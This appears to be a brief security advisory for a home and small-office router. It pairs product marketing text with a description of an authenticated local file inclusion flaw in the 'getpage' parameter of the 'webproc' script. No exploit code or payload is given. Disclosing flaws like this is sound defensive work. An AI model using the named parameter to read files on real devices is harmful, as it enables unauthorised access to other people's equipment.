It is a simple, secure way to share your Internet connection and allows you to easily surf the Internet, use email, and have online chats. The quick, CD-less setup can be done through a web browser. The small, efficient design fits perfectly into your home and small office. Desc: The router suffers from an authenticated file inclusion vulnerability (LFI) when input passed thru the 'getpage' parameter to 'webproc' script is not properly verified before being used to include files. This can be exploited to include files from local resources.
